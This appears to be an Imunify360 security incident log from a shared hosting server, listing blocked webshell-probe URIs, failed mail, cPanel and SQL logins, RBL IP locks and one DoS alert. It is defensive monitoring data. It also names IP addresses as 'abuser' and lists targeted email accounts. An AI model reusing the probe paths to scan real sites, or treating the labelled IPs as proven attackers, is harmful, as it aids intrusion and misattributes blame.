# incident

plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.36.204.160
country_id: 1819730
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Easy Fold Document Box/Easy Fold - 5 File Box-3-150x150.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.36.204.160
country_id: 1819730
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/Products/Easy Fold Document Box/Easy Fold - 5 File Box-3-150x150.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.119
country_id: 953987
description:
Jan 27 03:30:45 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.119 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 162.142.125.193
country_id: 6252001
description:
Jan 27 03:31:29 sv3 pure-ftpd[1689400]: (?@162.142.125.193) [INFO] New connection from 162.142.125.193


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.55.119
country_id: 953987
description:
Jan 27 03:30:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.55.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.154.162
country_id: 3469034
description:
Jan 27 03:31:08 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.154.162 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-27 03:33:01 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:56937: 535 Incorrect authentication data (set_id=it@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jan 27 03:32:59 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 166.0.50.179
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:03-38.166.0.50.179||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 162.142.125.223
country_id: 6252001
description:
2026-01-27  3:39:27 782924 [Warning] Aborted connection 782924 to db: 'unconnected' user: 'unauthenticated' host: '162.142.125.223' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.132
country_id: 3175395
description:
Jan 27 03:40:07 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.25.113
country_id: 690791
description:
Jan 27 03:40:25 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.25.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.234.9.74
country_id: 3469034
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/energy2.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/company.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/sliders/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.94
country_id: 690791
description:
2026-01-27 03:51:35 H=([77.83.39.94]) [77.83.39.94]:54787 F=<info@forkliftcenter.com> rejected RCPT <lowkeesen@nobledec.com>: SPF: 77.83.39.94 is not allowed to send mail from forkliftcenter.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.25.56
country_id: 798544
description:
Jan 27 03:52:36 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.25.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.79
country_id: 3175395
description:
Jan 27 03:52:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.59.91
country_id: 953987
description:
Jan 27 03:52:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.59.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.79
country_id: 3175395
description:
Jan 27 03:53:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-27 04:01:19 H=([45.144.212.242]) [45.144.212.242]:53704 F=<lynnied@mhtc.net> rejected RCPT <vincent@wcc.com.my>: Rejected relay attempt: '45.144.212.242' From: 'lynnied@mhtc.net' To: 'vincent@wcc.com.my'


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.124.76.88
country_id: 732800
description:
Jan 27 04:03:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.124.76.88 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 206.168.34.119
country_id: 6252001
description:
2026-01-27  4:07:45 783961 [Warning] Aborted connection 783961 to db: 'unconnected' user: 'unauthenticated' host: '206.168.34.119' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/demos/img/contact-us.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.206
country_id: 3469034
description:
Jan 27 04:08:16 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.178.27.180
country_id: 2510769
description:
Jan 27 04:08:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.178.27.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.59.108.10
country_id: 3175395
description:
Jan 27 04:09:21 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.59.108.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 151.59.108.10
country_id: 3175395
description:
2026-01-27 04:09:23 dovecot_plain authenticator failed for H=(supping) [151.59.108.10]:34604: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/news-n-events/img/img/img/img/img/demos/product.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/photos/cert.php||SC:/home/sutsbcom/public_html/img||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.56.194
country_id: 953987
description:
Jan 27 04:16:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.56.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.31.154
country_id: 1269750
description:
2026-01-27 04:20:41 dovecot_login authenticator failed for H=([125.20.249.154]) [103.251.31.154]:58992: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.213
country_id: 6290252
description:
Jan 27 04:20:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.55.189.211
country_id: 6252001
description:
Jan 27 04:20:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.55.189.211 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.55.189.211
country_id: 6252001
description:
2026-01-27 04:20:06 dovecot_login authenticator failed for H=(wllk99-129-211.dsl.netins.net) [67.55.189.211]:38458: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.251.31.154
country_id: 1269750
description:
Jan 27 04:20:39 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.251.31.154 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.213
country_id: 6290252
description:
Jan 27 04:21:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.213 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/flagallery/flexible-packaging/img/clientele.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.239
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/wp-content/plugins/flagallery-skins/default_int/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/wp-content||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.171.94.30
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-25.192.171.94.30||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.210
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/demos/new-development.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.250.208.77
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/Music_CD/images/cat3.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.235.185.25
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/Music_CD/images/cat1.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.249.27.24
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/Music_CD/images/resource/product2.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.32.13.63
country_id: 953987
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/Music_CD/images/fkr_photo_product.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.239.82.164
country_id: 357994
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/Music_CD/images/cat2.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.26.69.127
country_id: 3469034
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/Music_CD/images/homeabout.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.149.83.62
country_id: 690791
description:
Jan 27 04:29:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.149.83.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.149.83.62
country_id: 690791
description:
2026-01-27 04:29:15 dovecot_login authenticator failed for H=(techday.com.ua) [46.149.83.62]:35017: 535 Incorrect authentication data (set_id=sales@stonewld.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.152.209.204
country_id: 2464461
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/http-foundation/Tests/RequestMatcherTest.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 183.81.105.97
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-31.183.81.105.97||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 04:32:31 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.233.144.242
country_id: 1562822
domain: aoto.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/aoto.com.my/product-detail.php?id=6672338432 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 139.162.70.53
country_id: 1861060
description:
2026-01-27  4:37:01 785399 [Warning] Aborted connection 785399 to db: 'unconnected' user: 'unauthenticated' host: '139.162.70.53' (This connection closed normally without authentication)


plugin: cl_dos
name: DOS detection
abuser: 93.123.109.120
country_id: 732800
description:
2026-01-27 04:37:11.234095756 +0800 +08 m=+881721.221272907 Denial of Service attack was discovered from 93.123.109.120, on port 443. Open connections: 271


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.133.71.36
country_id: 3469034
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/sideboard16.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.14
country_id: 2750405
description:
Jan 27 04:38:04 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.160.200.72
country_id: 1562822
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/elk30483049.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.118.182.68
country_id: 3625428
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/elk5481.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 212.95.132.92
country_id: 99237
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/jmsb6040a.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 195.85.223.202
country_id: 99237
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/elk24792480.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.224.78.163
country_id: 3865483
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/jmsb6040.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.153.56
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/img/photos/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/about.php||SC:/home/sutsbcom/public_html/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.165.11.240
country_id: 1562822
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/serrmsbsr701wht.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 43.230.211.129
country_id: 1210997
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/sbfhsmct.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.86.74.38
country_id: 3585968
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/bg1.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.162.232.54
country_id: 3469034
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/elk3913.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.239.104.75
country_id: 99237
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/serrmsbsr701blk.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.253.4.13
country_id: 953987
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/hyshy404.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.244.230.212
country_id: 3489940
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/rlbl31.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.220.185.93
country_id: 6290252
domain: www.myfurnitureshop.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.myfurnitureshop.com.my/images/homedecor/sideboard/elk20612062.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.11.198.25
country_id: 3469034
description:
Jan 27 04:40:41 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.11.198.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.80.84.23
country_id: 1269750
domain: tst-ma.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/images/index.php||SC:/home/tstmacom/public_html/images/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.187.62.135
country_id: 3017382
description:
Jan 27 04:41:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.187.62.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.187.62.135
country_id: 3017382
description:
2026-01-27 04:41:40 dovecot_plain authenticator failed for H=135.ip-37-187-62.eu (phsanty) [37.187.62.135]:47130: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.178.27.180
country_id: 2510769
description:
Jan 27 04:44:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.178.27.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 94.156.152.27
country_id: 732800
description:
2026-01-27 04:46:17 H=([94.156.152.27]) [94.156.152.27]:64919 F=<sales2@thecityscrystal.com> rejected RCPT <sales@chs.com.my>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.52.163.9
country_id: 3508796
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/sebastian/recursion-context/src/Exception.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.116.90.0
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/psy/psysh/src/Psy/ParserFactory.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.13.68.97
country_id: 3175395
description:
Jan 27 04:53:38 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.13.68.97 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.253.220.187
country_id: 587116
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/mockery/mockery/docs/mockery/configuration.rst HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.178.120.157
country_id: 1831722
description:
[2026-01-27 04:54:58 +0800] info [cpaneld] 202.178.120.157 - Intercessors@agpc.org.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/img/demos/img/product.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 158.94.211.103
country_id: 6252001
description:
Jan 27 04:56:13 sv3 pure-ftpd[1750669]: (?@158.94.211.103) [INFO] New connection from 158.94.211.103


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.114.101.184
country_id: 3895114
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/debug/FatalErrorHandler/ClassNotFoundFatalErrorHandler.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.179
country_id: 3175395
description:
Jan 27 04:57:51 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.179 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.179
country_id: 3175395
description:
Jan 27 04:58:01 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.179 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.19
country_id: 2750405
description:
Jan 27 04:59:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.19 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/about-us/images/sliders/cdn-cgi/l/cdn-cgi/l/osl.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 158.94.208.82
country_id: 2921044
description:
2026-01-27 04:59:59 H=([158.94.208.82]) [158.94.208.82]:56372 F=<compras@durothane.com> rejected RCPT <info@pftfood.com>: SPF: 158.94.208.82 is not allowed to send mail from durothane.com


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.63
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/services/survey-meter/images/sliders/survey-meter.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 20.118.209.103
country_id: 6252001
description:
Jan 27 05:04:14 sv3 pure-ftpd[1754872]: (?@20.118.209.103) [INFO] New connection from 20.118.209.103


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.151.182.18
country_id: 2750405
description:
Jan 27 05:07:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.151.182.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
